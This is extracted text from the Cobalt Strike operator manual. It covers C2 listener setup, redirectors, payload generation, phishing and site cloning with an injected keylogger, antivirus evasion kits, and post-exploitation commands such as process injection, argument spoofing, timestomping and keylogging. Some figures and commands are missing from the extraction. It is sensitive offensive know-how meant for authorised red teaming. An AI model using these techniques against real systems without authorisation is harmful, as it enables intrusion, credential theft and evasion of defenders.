HTTP Host Header -This value, if specified, is propagated to your HTTP stagers and
through your HTTP communication. This option makes it easier to take
advantage of domain fronting with Cobalt Strike.
HTTP Proxy - Press the … button to specify an explicit proxy configuration for this
payload.
Guardrails - Beacon Guardrails allows the user to create a way to restrict the targets
that the beacon can execute on. Once configured, these values will be the default
guardrail for the Stageless or Windows Stageless Payload Generators.
l 123.123.123.123
l 123.123.123.*
l 123.123.*.*
l 123.*.*.*
The Type field configures the type of proxy. The Host and Port fields tell Beacon where the
proxy lives. The Username and Password fields are optional. These fields specify the
credentials Beacon uses to authenticate to the proxy.
Check the Ignore proxy settings; use direct connection box to force Beacon to attempt its
HTTP and HTTPS requests without going through a proxy.
Press Set to update the Beacon dialog with the desired proxy settings. Press Reset to set the
proxy configuration back to the default behavior.
NOTE:
The manual proxy configuration affects the HTTP and HTTPS Beacon payload stages only.
It does not propagate to the payload stagers.
Redirectors
A redirector is a system that sits between your target’s network and your team server. Any
connections that come to the redirector are forwarded to your team server to process. A
redirector is a way to provide multiple hosts for your Beacon payloads to call home to. A
redirector also aids operational security as it makes it harder to trace the true location of your
team server.
Cobalt Strike’s listener management features support the use of redirectors. Simply specify
your redirector hosts when you setup an HTTP or HTTPS Beacon listener. Cobalt Strike does
not validate this information. If the host you provide is not affiliated with the current host, Cobalt
Strike assumes it’s a redirector. One simple way to turn a server into a redirector is to use socat.
Here’s the socat syntax to forward all connections on port 80 to the team server at
192.168.12.100 on port 80:
SMB Beacon
The SMB Beacon uses named pipes to communicate through a parent Beacon. This peer-to-
peer communication works with Beacons on the same host. It also works across the network.
Windows encapsulates named pipe communication within the SMB protocol. Hence, the name,
SMB Beacon.
The SMB Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The
exception to this are the user-driven attacks that require explicit stagers.
Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt
to assume control of (link) to the SMB Beacon payload for you. If you run the SMB Beacon
manually, you will need to link to it from a parent Beacon.
Select Beacon SMB as the Payload type and give the listener a Name. Make sure to give the
new listener a memorable name as this name is how you will refer to this listener through
Cobalt Strike’s commands and workflows.
Parameters
Guardrails - Beacon Guardrails allows the user to create a way to restrict the targets
that the beacon can execute on. Once configured, these values will be the default
guardrail for the Stageless or Windows Stageless Payload Generators.
l 123.123.123.123
l 123.123.123.*
l 123.123.*.*
l 123.*.*.*
To blend in with normal traffic, linked Beacons use Windows named pipes to communicate.
This traffic is encapsulated in the SMB protocol. There are a few caveats to this approach:
If you get an error 5 (access denied) after you try to link to a Beacon: steal a domain user’s token
or use make_token DOMAIN\user password to populate your current token with valid
credentials for the target. Try to link to the Beacon again.
To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child. The
[session PID] argument is the process ID of the Beacon to unlink. This value is how you specify a
specific Beacon to de-link when there are multiple children Beacons.
When you de-link an SMB Beacon, it does not exit and go away. Instead, it goes into a state
where it waits for a connection from another Beacon. You may use the link command to
resume control of the SMB Beacon from another Beacon in the future.
TCP Beacon
The TCP Beacon uses a TCP socket to communicate through a parent Beacon. This peer-to-
peer communication works with Beacons on the same host and across the network.
Select Beacon TCP as the Payload type and give the listener a Name. Make sure to give the
new listener a memorable name as this name is how you will refer to this listener through
Cobalt Strike’s commands and workflows.
The TCP Beacon configured in this way is a bind payload. A bind payload is one that waits for a
connection from its controller (in this case, another Beacon session).
Parameters
Port (C2) - This option controls the port the TCP Beacon will wait for connections on.
Bind to localhost only - Check to have the TCP Beacon bind to 127.0.0.1 when it
listens for a connection. This is a good option if you use the TCP Beacon for
localhost-only actions.
Guardrails - Beacon Guardrails allows the user to create a way to restrict the targets
that the beacon can execute on. Once configured, these values will be the default
guardrail for the Stageless or Windows Stageless Payload Generators.
l 123.123.123.123
l 123.123.123.*
l 123.123.*.*
l 123.*.*.*
The TCP Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The
exception to this are, similar to the SMB Beacon, the user-driven attacks that require explicit
stagers.
Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt
to assume control of (connect) to the TCP Beacon payload for you. If you run the TCP Beacon
manually, you will need to connect to it from a parent Beacon.
To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child session
console. Later, you may reconnect to the TCP Beacon from the same host (or a different host).
External C2
External C2 is a specification to allow third-party programs to act as a communication layer for
Cobalt Strike’s Beacon payload. These third-party programs connect to Cobalt Strike to read
frames destined for, and write frames with output from payloads controlled in this way. The
External C2 server is what these third-party programs use to interface with your Cobalt Strike
team server.
Go to Cobalt Strike -> Listeners, press Add, and choose External C2 as your payload.
figure 33 - External C2
Select External C2 as the Payload type and give the listener a Name. Make sure to give the new
listener a memorable name as this name is how you will refer to this listener through Cobalt
Strike’s commands and workflows.
Parameters
Port (Bind) - Specify the port the External C2 server waits for connections on.
Bind to localhost only - Check to make the External C2 server localhost- only.
NOTE:
External C2 listeners are not like other Cobalt Strike listeners. You cannot target these with
Cobalt Strike’s post-exploitation actions. This option is just a convienence to stand up the
interface itself.
Specification
The External C2 interface is described in the External C2 specification.
l External C2 Specification
l extc2example.c
If you'd like to adapt the example (Appendix B) in the specification into a third-party C2, you may
assume a 3-clause BSD license for the code contained within the specification.
Third-party Materials
Here's a list of third-party projects and posts that reference, use, or build on External C2:
l Custom Command and Control (C3) by F-Secure Labs. A framework for rapid
prototyping of custom C2 channels.
l external_c2_framework by Jonathan Echavarria. A Python Framework for building
External C2 clients and servers.
l ExternalC2 Library by Ryan Hanson .NET library with Web API, WebSockets, and a direct
socket. Includes unit tests and comments.
l Tasking Office 365 for Cobalt Strike C2 by MWR Labs. Discussion and demo of Office
365 C2 for Cobalt Strike.
l Shared File C2 by Outflank BV. POC to use a file/share for command and control.
Foreign Listeners
Cobalt Strike supports the concept of foreign listeners. These are aliases for x86 payload
handlers hosted in the Metasploit Framework or other instances of Cobalt Strike. To pass a
Windows HTTPS Meterpreter session to a friend with msfconsole, setup a Foreign HTTPS
payload and point the Host and Port values to their handler. You may use foreign listeners
anywhere you would use an x86 Cobalt Strike listener.
Select Foreign HTTP or Foreign HTTPS as the Payload type and give the listener a Name.
Make sure to give the new listener a memorable name as this name is how you will refer to this
listener through Cobalt Strike’s commands and workflows.
Parameters
HTTP(S) Host (Stager) - This field specifies the name of the server where your foreign
listener is located.
HTTP(S) Port (Stager) - This field specifies the port on the server where your foreign
listener is listening for connections.
Infrastructure Consolidation
Cobalt Strike’s model for distributed operations is to stand up a separate team server for each
phase of your engagement. For example, it makes sense to separate your post-exploitation and
persistence infrastructure. If a post-exploitation action is discovered, you don’t want the
remediation of that infrastructure to clear out the callbacks that will let you back into the
network.
Some engagement phases require multiple redirector and communication channel options.
Cobalt Strike 4.0 is friendly to this.
You can bind multiple HTTP, HTTPS, and DNS listeners to a single Cobalt Strike team server.
These payloads also support port bending in their configuration. This allows you to use the
common port for your channel (80, 443, or 53) in your redirector and C2 setups, but bind these
listeners to different ports to avoid port conflicts on your team server system.
To give variety to your network indicators, Cobalt Strike’s Malleable C2 profiles may contain
multiple variants. A variant is a way of adding variations of the current profile into one profile file.
You may specify a Profile variant when you define each HTTP or HTTPS Beacon listener.
Further, you can define multiple TCP and SMB Beacons on one team server, each with different
pipe and port configurations. Any egress Beacon, from the same team server, can control any of
these TCP or SMB Beacon payloads once they’re deployed in the target environment.
Initial Access
Cobalt Strike has several options that aid in establishing an initial foothold on a target. This
ranges from profiling potential targets to payload creation to payload delivery.
To start the system profiler, go to Attacks -> System Profiler. To start the profiler you must
specify a URI to bind to and a port to start the Cobalt Strike web- server from.
If you specify a Redirect URL, Cobalt Strike will redirect visitors to this URL once their profile is
taken. Click Launch to start the system profiler.
The System Profiler uses an unsigned Java Applet to decloak the target’s internal IP address
and determine which version of Java the target has. With Java’s click-to-run security feature—
this could raise suspicion. Uncheck the Use Java Applet to get information box to remove the
Java Applet from the System Profiler.
Check the Enable SSL box to serve the System Profiler over SSL. This box is disabled unless
you specify a valid SSL certificate with Malleable C2. Chapter 11 discusses this.
Application Browser
To view the results from the system profiler, go to View -> Applications. This opens an
Applications tab with a table showing all application information captured by the System
Profiler.
Analyst Tips
The Application Browser has a lot of information useful to plan a targeted attack. Here's how to
get the most out of this output:
The internal IP address field is gathered from a benign unsigned Java applet. If this field says
unknown, this means the Java applet probably did not run. If you see an IP address here, this
means the unsigned Java applet ran.
Internet Explorer will report the base version the user installed. As Internet Explorer gets
updates--the reported version information does not change. Cobalt Strike uses the JScript.dll
version to estimate Internet Explorer's patch level. Go to support.microsoft.com and search for
JScript.dll's build number (the third number in the version string) to map it to an Internet
Explorer update.
To manage Cobalt Strike’s web services, go to View -> Web Drive-by -> Manage. Here, you may
copy any Cobalt Strike URL to the clipboard or stop a Cobalt Strike web service.
Use View -> Web Log to monitor visits to your Cobalt Strike web services.
If Cobalt Strike’s web server sees a request from the Lynx, Wget, or Curl browser; Cobalt Strike
will automatically return a 404 page. Cobalt Strike does this as light protection against blue
team snooping. The can be configured with the Malleable C2 ‘.http-config.block_useragents’
option.
HTML Application
An HTML Application is a Windows program written In HTML and an Internet Explorer
supported scripting language. This package generates an HTML Application that runs a Cobalt
Strike listener.
Parameters
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Method - Use the drop-down to select one of the following methods to run the selected
listener:
PowerShell: This method uses a PowerShell one-liner to run your payload stager.
VBA: This method uses a Microsoft Office macro to inject your payload into
memory. The VBA method requires Microsoft Office on the target system.
MS Office Macro
The Microsoft Office Macro tool generates a macro to embed into a Microsoft Word or
Microsoft Excel document.
Choose a listener and press Generate to create the step-by-step instructions to embed your
macro into a Microsoft Word or Excel document.
This attack works well when you can convince a user to run macros when they open your
document.
Payload Generator
Cobalt Strike's Payload Generator outputs source code and artifacts to stage a Cobalt Strike
listener onto a host. Think of this as the Cobalt Strike version of msfvenom.
Parameters
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Output - Use the drop-down to select one of the following output types (most options
give you shellcode formatted as a byte array for that language):
Veil: Custom shellcode suitable for use with the Veil Evasion Framework.
x64 - Check the box to generate an x64 stager for the selected listener.
Parameters
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Guardrails - If your listener has been configured with gauardrails, the value is displayed
as the default. Use the ... button to override the settings for the beacon.
Output - Use the drop-down to select one of the following output types (most options
give you shellcode formatted as a byte array for that language):
Exit Function - This function determines the method/behavior that Beacon uses when
the exit command is executed.
System Call - Select one of the following system call methods to use at execution time
when generating a stageless beacon payload from the Cobalt Strike UI or a
supported aggressor function:
Indirect: Jump to the appropriate instruction within the Nt* version of the
function.
HTTP Library - -Select the Microsoft library (WinINet or WinHTTP) for the generated
payload.
x64 - Check the box to generate an x64 stager for the selected listener.
Windows Executable
This package generates a Windows executable artifact that delivers a payload stager.
Parameters
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Output - Use the drop-down to select one of the following output types.
Windows DLL: A Windows DLL that exports a StartW function that is compatible
with rundll32.exe. Use rundll32.exe to load your DLL from the command line.
rundll32 foo.dll,StartW
x64- Check the box to generate x64 artifacts that pair with an x64 stager. By default,
this dialog exports x64 payload stagers.
sign - Check the box to sign an EXE or DLL artifact with a code-signing certificate. You
must specify a certificate in a Malleable C2 profile.
Parameters
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Guardrails - If your listener has been configured with gauardrails, the value is displayed
as the default. Use the ... button to override the settings for the beacon.
Output - Use the drop-down to select one of the following output types.
Windows DLL: A Windows DLL that exports a StartW function that is compatible
with rundll32.exe. Use rundll32.exe to load your DLL from the command line.
rundll32 foo.dll,StartW
Exit Function - This function determines the method/behavior that Beacon uses when
the exit command is executed.
System Call - Select one of the following system call methods to use at execution time
when generating a stageless beacon payload from the Cobalt Strike UI or a
supported aggressor function:
Indirect: Jump to the appropriate instruction within the Nt* version of the
function.
HTTP Library - -Select the Microsoft library (WinINet or WinHTTP) for the generated
payload.
x64 - Check the box to generate an x64 artifact that contains an x64 payload. By
default, this dialog exports x64 payloads.
sign - Check the box to sign an EXE or DLL artifact with a code-signing certificate. You
must specify a certificate in a Malleable C2 profile.
Parameters
Folder - Press the folder button to select a location to save the listener(s).
System Call - Select one of the following system call methods to use at execution time
when generating a stageless beacon payload from the Cobalt Strike UI or a
supported aggressor function:
Indirect: Jump to the appropriate instruction within the Nt* version of the
function.
HTTP Library - -Select the Microsoft library (WinINet or WinHTTP) for the generated
payload.
Sign - Check the box to sign an EXE or DLL artifact with a code-signing certificate. You
must specify a certificate in a Malleable C2 profile.
Hosting Files
Cobalt Strike’s web server can host your user-driven packages for you. From the menu, select
Site Management -> Host File and perform the following to set up:
By itself, the capability to host a file isn’t very impressive. However, in sections that follow, you
will learn how to embed Cobalt Strike URLs into a spear phishing email. When you do this,
Cobalt Strike can cross-reference visitors to your file with sent emails and include this
information in the social engineering report.
Check Enable SSL to serve this content over SSL. This option is available when you specify a
valid SSL certificate in your Malleable C2 profile.
Cobalt Strike makes several tools to setup web drive-by attacks available to you. To quickly start
an attack, navigate to Attacks and choose one of the following option:
The Java Signed Applet Attack uses Cobalt Strike’s Java injector. On Windows, the Java injector
will inject shellcode for a Windows listener directly into memory for you.
Parameters
Local URL/Host/Path - Set the Local URL Path, Host and Port to configure the
webserver.
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
SSL - Check to serve this content over SSL. This option is available when you specify a
valid SSL certificate in your Malleable C2 profile.
The applet analyzes its environment and decides which Java exploit to use. If the Java version
is vulnerable, the applet will disable the security sandbox, and execute a payload using Cobalt
Strike’s Java injector.
Parameters
Local URL/Host/Path - Set the Local URL Path, Host and Port to configure the
webserver.
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
SSL - Check to serve this content over SSL. This option is available when you specify a
valid SSL certificate in your Malleable C2 profile.
This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web
server, and presents a one-liner to download and run the artifact.
Navigate to Attacks -> Scripted Web Delivery (S) from the menu.
Parameters
Local URL/Host/Path - Set the Local URL Path, Host and Port to configure the
webserver. Make sure the Host field matches the CN field of your SSL certificate.
This will avoid a situation where this feature fails because of a mismatch
between these fields.
Listener - Press the ... button to select a Cobalt Strike listener you would like to output
a payload for.
Type - Use the drop-down menu to select one of the following types:
bitsadmin : This option hosts an executable and uses bitsadmin to download it.
The bitsadmin method runs the executable via cmd.exe.
exe : This option generates an executable and hosts it on Cobalt Strike’s web
server.
powershell IEX : This option hosts a PowerShell script and uses powershell.exe
to download the script and evaluate it. Similar to prior powershell option, but
it provides a shorter Invoke-Execution one-liner command.
python : This option hosts a Python script and uses python.exe to download the
script and run it. Each of these options is a different way to run a Cobalt Strike
listener.
x64 - Check the box to generate an x64 stager for the selected listener.
SSL - Check to serve this content over SSL. This option is available when you specify a
valid SSL certificate in your Malleable C2 profile.
Client-side Exploits
You may use a Metasploit Framework exploit to deliver a Cobalt Strike Beacon. Cobalt Strike’s
Beacon is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon
with a Metasploit Framework exploit:
Here’s a screenshot of msfconsole used to stand up a Flash Exploit to deliver Cobalt Strike’s
HTTP Beacon hosted at 192.168.1.5 on port 80:
Clone a Site
Before sending an exploit to a target, it helps to dress it up. Cobalt Strike’s website clone tool can
help with this. The website clone tool makes a local copy of a website with some code added to
fix links and images so they work as expected.
It’s possible to embed an attack into a cloned site. Write the URL of your attack in the Embed
field and Cobalt Strike will add it to the cloned site with an IFRAME. Click the ... button to select
one of the running client-side exploits.
Cloned websites can also capture keystrokes. Check the Log keystrokes on cloned site box.
This will insert a JavaScript key logger into the cloned site.
To view logged keystrokes or see visitors to your cloned site, go to View -> Web Log.
Check Enable SSL to serve this content over SSL. This option is available when you specify a
valid SSL certificate in your Malleable C2 profile. Make sure the Host field matches the CN field
of your SSL certificate. This will avoid a situation where this feature fails because of a mismatch
between these fields.
Spear Phishing
Now that you have an understanding of client-side attacks, let’s talk about how to get the attack
to the user. The most common way into an organization’s network is through spear phishing.
Cobalt Strike's spear phishing tool allows you to send pixel perfect spear phishing messages
using an arbitrary message as a template.
Targets
Before you send a phishing message, you should assemble a list of targets. Cobalt Strike
expects targets in a text file. Each line of the file contains one target. The target may be an email
address. You may also use an email address, a tab, and a name. If provided, a name helps
Cobalt Strike customize each phish.
Templates
Next, you need a phishing template. The nice thing about templates is that you may reuse them
between engagements. Cobalt Strike uses saved email messages as its templates. Cobalt
Strike will strip attachments, deal with encoding issues, and rewrite each template for each
phishing attack.
If you’d like to create a custom template, compose a message and send it to yourself. Most
email clients have a way to get the original message source. In Gmail, click the down arrow next
to Reply and select Show original. Save this message to a file and then congratulate yourself—
you’ve made your first Cobalt Strike phishing template.
You may want to customize your template with Cobalt Strike’s tokens. Cobalt Strike replaces
the following tokens in your templates:
Token Description
%To% The email address of the person the message is sent to
%To_Name% The name of the person the message is sent to.
%URL% The contents of the Embed URL field in the spear phishing dialog.
Sending Messages
Now that you have your targets and a template, you’re ready to go phishing. To start the spear
phishing tool, go to Attacks -> Spear Phish.
To send a phishing message, you must first import your list of Targets. You may import a flat
text-file containing one email address per line. Import a file containing one email address and
name separated by a tab or comma for stronger message customization. Click the folder next
to the Targets field to import your targets file.
Set Template to an email message template. A Cobalt Strike message template is simply a
saved email message. Cobalt Strike will strip unnecessary headers, remove attachments,
rewrite URLs, re-encode the message, and rewrite it for you. Click on the folder next to the
Template field to choose one.
You have the option to add an Attachment. This is a great time to use one of the social
engineering packages discussed earlier. Cobalt Strike will add your attachment to the outgoing
phishing message.
Cobalt Strike does not give you a means to compose a message. Use an email client, write a
message, and send it to yourself. Most webmail clients include a means to see the original
message source. In GMail, click the down arrow next to Reply and select Show original.
You may also ask Cobalt Strike to rewrite all URLs in the template with a URL of your choosing.
Set Embed URL to have Cobalt Strike rewrite each URL in the message template to point to the
embedded URL. URLs added in this way will contain a token that allows Cobalt Strike to trace
any visitor back to this particular spear phishing attack. Cobalt Strike's reporting and web log
features take advantage of this token. Press ... to choose one of the Cobalt Strike hosted sites
you've started.
When you embed a URL, Cobalt Strike will attach ?id=%TOKEN% to it. Each sent message will
get its own token. Cobalt Strike uses this token to map website visitors to sent emails. If you
care about reporting, be sure to keep this value in place.
Set Mail Server to an open relay or the mail exchange record for your target. If necessary, you
may also authenticate to a mail server to send your phishing messages.
Press … next to the Mail Server field to configure additional server options. You may specify a
username and password to authenticate with. The Random Delay option tells Cobalt Strike to
randomly delay each message by a random time, up to the number of seconds you specify. If
this option is not set, Cobalt Strike will not delay its messages.
Set Bounce To to an email address where bounced messages should go. This value will not
affect the message your targets see. Press Preview to see an assembled message to one of
your recipients. If the preview looks good, press Send to deliver your attack.
The Cobalt Strike default artifacts will likely be snagged by most endpoint security solutions.
Although evasion is not a goal of the default Cobalt Strike product, Cobalt Strike does offer
some flexibility.
You, the operator, may change the executables, DLLs, applets, and script templates Cobalt
Strike uses in its workflows. You may also export Cobalt Strike’s Beacon payload in a variety of
formats that work with third-party tools designed to assist with evasion.
This chapter highlights the Cobalt Strike features that provide this flexibility.
To defeat this detection, it’s common for an attacker to obfuscate the shellcode in some way
and place it in the binary. This obfuscation process defeats anti-virus products that use a simple
string search to identify malicious code.
Many anti-virus products go a step further. These anti-virus products simulate execution of an
executable in a virtual sandbox. With each emulated step of execution, the anti-virus product
checks for known bad in the emulated process space. If known bad shows up, the anti-virus
product flags the executable or DLL as malicious. This technique defeats many encoders and
packers that try to hide known bad from signature-based anti-virus products.
Cobalt Strike’s counter to this is simple. The anti-virus sandbox has limitations. It is not a
complete virtual machine. There are system behaviors the anti-virus sandbox does not emulate.
The Artifact Kit is a collection of executable and DLL templates that rely on some behavior that
anti-virus product’s do not emulate to recover shellcode located inside of the binary.
executables and DLLs it creates will get caught. This started to happen, over time, with the
default bypass technique in Cobalt Strike 2.5 and below. If you want to get the most from the
Artifact Kit, you will use one of its techniques as a base to build your own Artifact Kit
implementation.
Even that isn’t enough though. Some anti-virus products call home to the anti-virus vendor’s
servers. There the vendor makes a determination if the executable or DLL is known good or an
unknown, never before seen, executable or DLL. Some of these products automatically send
unknown executables and DLLs to the vendor for further analysis and warn the users. Others
treat unknown executables and DLLs as malicious. It depends on the product and its settings.
The point: no amount of “obfuscation” is going to help you in this situation. You’re up against a
different kind of defense and will need to work around it accordingly. Treat these situations the
same way you would treat application whitelisting. Try to find a known good program (e.g.,
powershell) that will get your payload stager into memory.
Fortra distributes the Arsenal Kit as a .tgz file. Use the tar command to extract it. The Arsenal Kit
includes the Artifact kit, which can be built with other kits or as a stand alone kit. See the Arsenal
Kit README.md file for information on building the kits.
You’re encouraged to modify the Artifact Kit and its techniques to make it meet your needs.
While skilled C programmers can do more with the Artifact Kit, it’s quite feasible for an
adventurous non-programmer to work with the Artifact Kit too. For example, a major anti-virus
product likes to write signatures for the executables in Cobalt Strike’s trial each time there is a
release. Up until Cobalt Strike 2.5, the trial and licensed versions of Cobalt Strike used the named
pipe technique in its executables and DLLs. This vendor would write a signature for the named
pipe string the executable used. Defeating their signatures, release after release, was as simple
as changing the name of the pipe in the pipe technique’s source code.
Steps
Use the included build.sh script to build the Applet Kit on Kali Linux. Many Cobalt Strike
customers use this flexibility to sign Cobalt Strike’s Java Applet attacks with a code-signing
certificate that they purchased. This is highly recommended.
To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script
included with the Applet Kit.
On the Cobalt Strike Arsenal Page you will also notice the Power Applet. This is an alternate
implementation of Cobalt Strike’s Java Applet attacks that uses PowerShell to get a payload
into memory. The Power Applet demonstrates the flexibility you have to recreate Cobalt Strike’s
standard attacks in a completely different way and still use them with Cobalt Strike’s workflows.
To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script
included with the Applet Kit.
The README.md supplied with the Resource Kit documents the included scripts and which
features use them. To evade a product, consider changing strings or behaviors in these scripts.
To make Cobalt Strike use your script templates over the built-in script templates, load either
the dist/arsenal_kit.cna or dist/resource/resources.cna script. See the Arsenal Kit README.md
file for more information.
For more information on the Sleep Mask Kit see the arsenal-kit/README.md and arsenal-
kit/kits/sleepmask/README.md files.
Post Exploitation
Beacon Covert C2 Payload
Beacon is Cobalt Strikes payload to model advanced attackers. Use Beacon to egress a network
over HTTP, HTTPS, or DNS. You may also limit which hosts egress a network by controlling
peer-to-peer Beacons over Windows named pipes.
Beacon's network indicators are malleable. Redefine Beacon's communication with Cobalt
Strike's malleable C2 language. This allows you to cloak Beacon activity to look like other
malware or blend-in as legitimate traffic.
In between the Beacon console’s input and output is a status bar. This status bar contains
information about the current session. In its default configuration, the statusbar shows the
target’s NetBIOS name, the username and PID of the current session, and the Beacon’s last
check-in time.
Each command that’s issued to a Beacon, whether through the GUI or the console, will show up
in this window. If a teammate issues a command, Cobalt Strike will pre-fix the command with
their handle.
You will likely spend most of your time with Cobalt Strike in the Beacon console. It’s worth your
time to become familiar with its commands. Type help in the Beacon console to see available
commands. Type help followed by a command name to get detailed help.
The Access menu contains options to manipulate trust material and elevate your access.
The Explore menu consists of options to extract information and interact with the target’s
system.
The Pivoting menu is where you can setup tools to tunnel traffic through a Beacon.
The Session menu is where you manage the current Beacon session.
Some of Cobalt Strike’s visualizations (the pivot graph and sessions table) let you select multiple
Beacons at one time. Most actions that happen through this menu will apply to all selected
Beacon sessions.
Be aware that Beacon is an asynchronous payload. Commands do not execute right away. Each
command goes into a queue. When the Beacon checks in (connects to you), it will download
these commands and execute them one by one. At this time, Beacon will also report any output
it has for you. If you make a mistake, use the clear command to clear the command queue for
the current Beacon.
By default, Beacons check in every sixty seconds. You may change this with Beacon’s sleep
command. Use sleep followed by a time in seconds to specify how often Beacon should check
in. You may also specify a second number between 0 and 99. This number is a jitter factor.
Beacon will vary each of its check in times by the random percentage you specify as a jitter
factor. For example, sleep 300 20, will force Beacon to sleep for 300 seconds with a 20% jitter
percentage. This means, Beacon will sleep for a random value between 240s to 300s after each
check-in.
To make a Beacon check in multiple times each second, try sleep 0. This is interactive mode. In
this mode commands will execute right away. You must make your Beacon interactive before
you tunnel traffic through it. A few Beacon commands (e.g., browserpivot, desktop, etc.) will
automatically put Beacon into interactive mode at the next check in.
Running Commands
Beacon’s shell command will task a Beacon to execute a command via cmd.exe on the
compromised host. When the command completes, Beacon will present the output to you.
Use the run command to execute a command without cmd.exe. The run command will post
output to you. The execute command runs a program in the background and does not capture
output.
Use the powershell command to execute a command with PowerShell on the compromised
host. Use the powerpick command to execute PowerShell cmdlets without powershell.exe.
This command relies on the Unmanaged PowerShell technique developed by Lee Christensen.
The powershell and powerpick commands will use your current token.
The psinject command will inject Unmanaged PowerShell into a specific process and run your
cmdlet from that location.
The powershell-import command will import a PowerShell script into Beacon. Future uses of
the powershell, powerpick, and psinject commands will have cmdlets from the imported script
available to them. Beacon will only hold one PowerShell script at a time. Import an empty file to
clear the imported script from Beacon.
The execute-assembly command will run a local .NET executable as a Beacon post-
exploitation job. You may pass arguments to this assembly as if it were run from a Windows
command-line interface. This command will also inherit your current token.
If you want Beacon to execute commands from a specific directory, use the cd command in the
Beacon console to switch the working directory of the Beacon’s process. The pwd command
will tell you which directory you’re currently working from.
Beacon can execute Beacon Object Files without creating a new process. Beacon Object Files
are compiled C programs, written to a specific convention, that run within a Beacon session.
Use inline-execute [args] to execute a Beacon Object File with the specified arguments. See
Beacon Object Files on page 171 for more information.
Session Passing
Cobalt Strike’s Beacon started out as a stable lifeline to keep access to a compromised host.
From day one, Beacon’s primary purpose was to pass accesses to other Cobalt Strike listeners.
Use the spawn command to spawn a session for a listener. The spawn command accepts an
architecture (e.g., x86, x64) and a listener as its arguments.
By default, the spawn command will spawn a session in rundll32.exe. An alert administrator
may find it strange that rundll32.exe is periodically making connections to the internet. Find a
better program (e.g., Internet Explorer) and use the spawnto command to state which program
Beacon should spawn for its sessions.
The spawnto command requires you to specify an architecture (x86 or x64) and a full path to a
program to spawn, as needed. Type spawnto by itself and press enter to instruct Beacon to go
back to its default behavior.
Type inject followed by a process id and a listener name to inject a session into a specific
process. Use ps to get a list of processes on the current system. Use inject [pid] x64 to inject a
64-bit Beacon into an x64 process.
The spawn and inject commands both inject a payload stage into memory. If the payload stage
is an HTTP, HTTPS, or DNS Beacon and it can’t reach you—you will not see a session. If the
payload stage is a bind TCP or SMB Beacon, these commands will automatically try to link to
and assume control of these payloads.
Use the shinject [pid] [architecture] [/path/to/file.bin] command to inject shellcode, from a
local file, into a process on target. Use shspawn [architecture] [/path/to/file.bin] to spawn the
“spawn to” process and inject the specified shellcode file into that process.
The runu command will execute a command with another process as the parent. This
command will run with the rights and desktop session of its alternate parent process. The
current Beacon session must have full rights to the alternate parent. The spawnu command will
spawn a temporary process, as a child of a specified process, and inject a Beacon payload
stage into it.
1. Starts the matched process in a suspended state (with the fake arguments)
2. Updates the process memory with the real arguments
3. Resumes the process
The effect is that host instrumentation recording a process launch will see the fake arguments.
This helps mask your real activity.
Use argue [command] [fake arguments] to add a command to this internal list. The
[command] portion may contain an environment variable. Use argue [command] to remove a
command from this internal list. argue, by itself, lists the commands in this internal list.
The process match logic is exact. If Beacon tries to launch “net.exe”, it will not match net,
NET.EXE, or c:\windows\system32\net.exe from its internal list. It will only match net.exe.
x86 Beacon can only spoof arguments in x86 child processes. Likewise, x64 Beacon can only
spoof arguments in x64 child processes.
The real arguments are written to the memory space that holds the fake arguments. If the real
arguments are longer than the fake arguments, the command launch will fail.
Use blockdlls start to ask Beacon to launch child processes with a binary signature policy that
blocks non-Microsoft DLLs from the process space. Use blockdlls stop to disable this behavior.
This feature requires Windows 10.
downloads - Use to see a list of file downloads in progress for the current Beacon.
cancel - Issue this command, followed by a filename, to cancel a download that’s in progress.
You may use wildcards with your cancel command to cancel multiple file downloads at
once.
timestomp - When you upload a file, you will sometimes want to update its timestamps to
make it blend in with other files in the same folder. This command will do this. The
timestomp command matches the Modified, Accessed, and Created times of one file to
another file.
Go to View -> Downloads in Cobalt Strike to see the files that your team has downloaded so far.
Only completed downloads show up in this tab.
Downloaded files are stored on the team server. To bring files back to your system, highlight
them here, and press Sync Files. Cobalt Strike then downloads the selected files to a folder of
your choosing on your system.
File Browser
Beacon’s File Browser is an opportunity to explore the files on a compromised system. Go to
[Beacon] -> Explore -> File Browser to open it.
You can also issue the command, file_browser, to open the file browser tab starting in the
current directory.
The file browser will request a listing for the current working directory of Beacon. When this
result arrives, the file browser will populate.
The left-hand side of the file browser is a tree which organizes the known drives and folders into
one view. The right-hand side of the file browser shows the contents of the current folder.
Each file browser caches the folder listings it receives. A colored folder indicates the folder’s
contents are in this file browser’s cache. You may navigate to cached folders without generating
a new file listing request. Press Refresh to ask Beacon to update the contents of the current
folder.
A dark-grey folder means the folder’s contents are not in this file browser’s cache. Click on a
folder in the tree to have Beacon generate a task to list the contents of this folder (and update its
cache). Double-click on a dark-grey folder in the right-hand side current folder view to do the
same.
To go up a folder, press the folder button next to the file path above the right-hand side folder
details view. If the parent folder is in this file browser’s cache, you will see the results
immediately. If the parent folder is not in the file browser’s cache, the browser will generate a
task to list the contents of the parent folder.
Use the ls command to list files in the current directory. Use mkdir to make a directory. rm will
remove a file or folder. cp copies a file to a destination. mv moves a file.
Use reg_query [x86|x64] [HIVE\path\to\key] to query a specific key in the registry. This
command will print the values within that key and a list of any subkeys. The x86/x64 option is
required and forces Beacon to use the WOW64 (x86) or native view of the registry. reg_query
[x86|x64] [HIVE\path\to\key] [value] will query a specific value within a registry key.
To start the keystroke logger, use keylogger pid x86 to inject into an x86 process. Use
keylogger pid x64 to inject into an x64 process. Use keylogger by itself to inject the keystroke
logger into a temporary process. The keystroke logger will monitor keystrokes from the injected
process and report them to Beacon until the process terminates or you kill the keystroke logger
post- exploitation job.
Be aware that multiple keystroke loggers may conflict with each other. Use only one keystroke
logger per desktop session.
